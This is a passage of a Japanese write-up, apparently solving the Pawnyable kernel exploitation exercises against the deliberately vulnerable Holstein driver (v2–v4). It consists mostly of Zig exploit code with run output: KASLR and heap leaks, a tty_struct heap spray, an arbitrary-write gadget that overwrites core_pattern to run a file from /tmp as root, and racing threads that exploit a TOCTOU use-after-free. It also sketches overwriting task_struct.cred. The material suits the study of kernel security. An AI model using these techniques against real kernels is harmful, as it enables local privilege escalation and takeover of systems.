</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">spray</span>(ttys[<span style="color:#00bcff">50</span>..]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kaslr_offset <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakKASLROffset</span>(fd);
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base: 0x{s}&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>(kaslr_offset<span style="color:#00d3d0">+</span><span style="color:#00bcff">0xffffffff81000000</span>))), .lower)});
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> g_buf <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakGBuf</span>(fd);
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;g_buf located at: 0x{s}&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>g_buf)), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">posionTTYStruct</span>(fd, g_buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ropchain_addr <span style="color:#00d3d0">=</span> g_buf <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@sizeOf</span>(tty_operations);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">10</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> _ <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">ioctl</span>(tty, <span style="color:#00bcff">0xdeadbeef</span>, ropchain_addr);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>./exploit
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># execute bogus file</span>
</span></span><span style="display:flex;"><span>/tmp/unknown &amp;&gt; /tmp/null <span style="color:#a8a8a8"># /dev/null is priviledged</span>
</span></span><span style="display:flex;"><span>cat /tmp/whoisit</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1337
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffffa0800000
</span></span><span style="display:flex;"><span>[INFO] g_buf located at: 0xffff9f45c3108000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk01-2.zig">完全なエクスプロイト</a></p>
<p>実はスタックピボットは不要だった：AAWガジェットを利用したら結果は同じだ。</p>
<p>他の方法</p>
<dl>
<dt><a href="https://elixir.bootlin.com/linux/v5.10.7/source/fs/coredump.c#L57">core_pattern</a>読み込み</dt>
<dd>コアダンプが発生した際、​<kbd>core_pattern</kbd>​で定義されたプログラッムが呼び出される。​<kbd>core_pattern</kbd>​はFGKASLR影響しを受けないらしいから、特に便利っすね。</dd>
<dt><span class="org-target" id="org-target--cred-overwrite"></span> <kbd>task_struct.cred</kbd>​読み書き</dt>
<dd>AARとAAWがあれば、ヒープ上から​<kbd>task_struct.cred</kbd>​を探し出して、それを0をセットする（​<kbd>prctl</kbd>​を利用すればプロセスの名は探すやすい値を変われば楽になる）。</dd>
</dl>
<h3 id="v3-use-after-free">v3: Use after Free</h3>





  
  
    

  
  
    









<details open>
  
  <summary>Diff</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>10c10
</span></span><span style="display:flex;"><span>&lt; MODULE_DESCRIPTION(&#34;Holstein v2 - Vulnerable Kernel Driver for Pawnyable&#34;);
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; MODULE_DESCRIPTION(&#34;Holstein v3 - Vulnerable Kernel Driver for Pawnyable&#34;);
</span></span><span style="display:flex;"><span>21c21
</span></span><span style="display:flex;"><span>&lt;   g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt;   g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
</span></span><span style="display:flex;"><span>35a36,40
</span></span><span style="display:flex;"><span>&gt;   if (count &gt; BUFFER_SIZE) {
</span></span><span style="display:flex;"><span>&gt;     printk(KERN_INFO &#34;invalid buffer size\n&#34;);
</span></span><span style="display:flex;"><span>&gt;     return -EINVAL;
</span></span><span style="display:flex;"><span>&gt;   }
</span></span><span style="display:flex;"><span>&gt;
</span></span><span style="display:flex;"><span>48a54,58
</span></span><span style="display:flex;"><span>&gt;
</span></span><span style="display:flex;"><span>&gt;   if (count &gt; BUFFER_SIZE) {
</span></span><span style="display:flex;"><span>&gt;     printk(KERN_INFO &#34;invalid buffer size\n&#34;);
</span></span><span style="display:flex;"><span>&gt;     return -EINVAL;
</span></span><span style="display:flex;"><span>&gt;   }
</span></span></code></pre></div>
</details>

<p>今回はオーバーフローがない。​<kbd>g_buf</kbd>​のUAFを悪用しよう。</p>
<p>攻撃の作戦は:</p>
<ol>
<li>2回で​<code>/dev/holstein</code>​を開く</li>
<li>一つのfdを閉じる</li>
<li>複数の​<kbd>tty_struct</kbd>​をスプレーする</li>
<li>別のfdで構造体のいずれかを書き換える</li>
</ol>
<!--listend-->





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>vmlinux <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;./vmlinux&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">hex</span>(<span style="color:#f78fe7">next</span>(vmlinux<span style="color:#00d3d0">.</span>search(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;core&#34;</span><span style="color:#00d3d0">.</span>ljust(<span style="color:#00bcff">128</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\0</span><span style="color:#79a8ff">&#34;</span>))))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81eb12e0</span></span></code></pre></div>

<p><a id="code-snippet--lk01-3"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--tty_struct">&lt;&lt;tty_struct&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--heap-spray">&lt;&lt;heap-spray&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_ADDROF_RDX_RCX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff811b2d06</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> CORE_PATTERN<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81eb12e0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakKASLROffset</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ptmx_fops_addr <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81c39c60</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>)<span style="color:#00d3d0">+</span><span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>))]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret <span style="color:#00d3d0">-</span> ptmx_fops_addr;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakHeap</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> offset <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">comptime</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> ld_semaphore <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk <span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@offsetOf</span>(ld_semaphore, <span style="color:#79a8ff">&#34;read_wait&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@typeInfo</span>(<span style="color:#f78fe7">@FieldType</span>(ld_semaphore, <span style="color:#79a8ff">&#34;read_wait&#34;</span>)).@<span style="color:#79a8ff">&#34;struct&#34;</span>.fields[<span style="color:#00bcff">0</span>].<span style="color:#6ae4b9">type</span>);
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [offset]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret <span style="color:#00d3d0">-</span> (buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">aaw</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, ttys<span style="color:#00d3d0">:</span> []posix.fd_t, g_buf_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>, value<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>, address<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(fd, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_struct{ .driver <span style="color:#00d3d0">=</span> g_buf_addr, .ops <span style="color:#00d3d0">=</span> g_buf_addr <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@sizeOf</span>(tty_struct), .ldisc_sem <span style="color:#00d3d0">=</span> .{ .read_wait <span style="color:#00d3d0">=</span> .{ .next <span style="color:#00d3d0">=</span> g_buf_addr, .prev <span style="color:#00d3d0">=</span> g_buf_addr }, .write_wait <span style="color:#00d3d0">=</span> .{ .next <span style="color:#00d3d0">=</span> g_buf_addr, .prev <span style="color:#00d3d0">=</span> g_buf_addr } } }) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_operations{ .ioctl <span style="color:#00d3d0">=</span> MOV_ADDROF_RDX_RCX }));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">if</span> (.SUCCESS <span style="color:#00d3d0">==</span> posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(tty, value, address))) <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_ADDROF_RDX_RCX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>CORE_PATTERN,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">catchSigsegv</span>(<span style="color:#00d3d0">&amp;</span>corePattern);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">saveState</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd2 <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    posix.<span style="color:#feacd0">close</span>(fd2);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> ttys<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">100</span>]posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(tty);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">spray</span>(ttys[<span style="color:#00bcff">0</span>..]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kaslr_offset <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakKASLROffset</span>(fd);
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base: 0x{s}&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>(kaslr_offset<span style="color:#00d3d0">+</span><span style="color:#00bcff">0xffffffff81000000</span>))), .lower)});
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> g_buf_addr <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakHeap</span>(fd);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aaw</span>(fd, <span style="color:#00d3d0">&amp;</span>ttys, g_buf_addr, std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#79a8ff">&#34;|/tm&#34;</span>, .little), CORE_PATTERN);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aaw</span>(fd, <span style="color:#00d3d0">&amp;</span>ttys, g_buf_addr, std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#79a8ff">&#34;p/x</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>, .little), CORE_PATTERN<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x4</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">corePattern</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1337
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffffb0c00000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk01-3.zig">完全なエクスプロイト</a></p>
<h3 id="v4-race-condition">v4: Race Condition</h3>





  
  
    

  
  
    









<details open>
  
  <summary>Diff</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>10c10
</span></span><span style="display:flex;"><span>&lt; MODULE_DESCRIPTION(&#34;Holstein v3 - Vulnerable Kernel Driver for Pawnyable&#34;);
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>&gt; MODULE_DESCRIPTION(&#34;Holstein v4 - Vulnerable Kernel Driver for Pawnyable&#34;);
</span></span><span style="display:flex;"><span>14a15
</span></span><span style="display:flex;"><span>&gt; int mutex = 0;
</span></span><span style="display:flex;"><span>20a22,27
</span></span><span style="display:flex;"><span>&gt;   if (mutex) {
</span></span><span style="display:flex;"><span>&gt;     printk(KERN_INFO &#34;resource is busy&#34;);
</span></span><span style="display:flex;"><span>&gt;     return -EBUSY;
</span></span><span style="display:flex;"><span>&gt;   }
</span></span><span style="display:flex;"><span>&gt;   mutex = 1;
</span></span><span style="display:flex;"><span>&gt;
</span></span><span style="display:flex;"><span>71a79
</span></span><span style="display:flex;"><span>&gt;   mutex = 0;
</span></span></code></pre></div>
</details>

<p>TOCTOUが導入してしまった⸺​<kbd>mutex</kbd>​の確認と更新はアトミックじゃない。
UAFを成功するためには、二つのスレッドが​<span class="inline-src language-c" data-lang="c"><code>if (mutex)</code></span>​を通り過し、そして一つを閉じることが必要だ。</p>
<p><a id="code-snippet--lk01-4-race"></a></p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pin-to-core">&lt;&lt;pin-to-core&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> master_fd<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span>posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">race_master</span>(slave_sync<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>std.Thread.ResetEvent, master_sync<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>std.Thread.ResetEvent) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) {
</span></span><span style="display:flex;"><span>        std.Thread.<span style="color:#feacd0">sleep</span>(<span style="color:#00bcff">2</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>)) <span style="color:#00d3d0">|</span>mfd<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            slave_sync.<span style="color:#feacd0">wait</span>();
</span></span><span style="display:flex;"><span>            slave_sync.<span style="color:#feacd0">reset</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">if</span> (slave_fd) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                master_fd <span style="color:#00d3d0">=</span> mfd;
</span></span><span style="display:flex;"><span>                master_sync.<span style="color:#feacd0">set</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            posix.<span style="color:#feacd0">close</span>(mfd);
</span></span><span style="display:flex;"><span>        } <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">switch</span> (err) {
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">error</span>.DeviceBusy <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                slave_sync.<span style="color:#feacd0">wait</span>();
</span></span><span style="display:flex;"><span>                slave_sync.<span style="color:#feacd0">reset</span>();
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        master_sync.<span style="color:#feacd0">set</span>(); <span style="color:#a8a8a8">// resume execution of slave
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> slave_fd<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span>posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">race_slave</span>(slave_sync<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>std.Thread.ResetEvent, master_sync<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>std.Thread.ResetEvent) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) {
</span></span><span style="display:flex;"><span>        std.Thread.<span style="color:#feacd0">sleep</span>(<span style="color:#00bcff">2</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>)) <span style="color:#00d3d0">|</span>sfd<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            slave_fd <span style="color:#00d3d0">=</span> sfd;
</span></span><span style="display:flex;"><span>            slave_sync.<span style="color:#feacd0">set</span>();
</span></span><span style="display:flex;"><span>            master_sync.<span style="color:#feacd0">wait</span>(); <span style="color:#a8a8a8">// sleep and let master resume execution
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            master_sync.<span style="color:#feacd0">reset</span>();
</span></span><span style="display:flex;"><span>            posix.<span style="color:#feacd0">close</span>(sfd);
</span></span><span style="display:flex;"><span>            slave_fd <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">if</span> (master_fd) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">switch</span> (err) {
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">error</span>.DeviceBusy <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                slave_sync.<span style="color:#feacd0">set</span>();
</span></span><span style="display:flex;"><span>                master_sync.<span style="color:#feacd0">wait</span>(); <span style="color:#a8a8a8">// sleep and let master resume execution
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>                master_sync.<span style="color:#feacd0">reset</span>();
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
